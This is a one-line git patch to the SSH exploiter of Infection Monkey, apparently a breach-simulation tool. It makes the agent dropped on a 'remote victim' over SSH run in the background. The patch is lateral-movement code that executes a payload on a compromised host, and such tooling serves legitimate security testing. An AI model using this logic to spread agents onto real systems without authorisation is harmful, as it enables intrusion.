From a55812edbef327ba3084d7de0cf707e029813099 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Apr 2020 16:04:27 +0300 Subject: [PATCH] Improved SSH exploiter to run on the background --- monkey/infection_monkey/exploit/sshexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 2318b8c7f..45d36d055 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -180,7 +180,7 @@ class SSHExploiter(HostExploiter): try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) - cmdline += " > /dev/null 2>&1" + cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",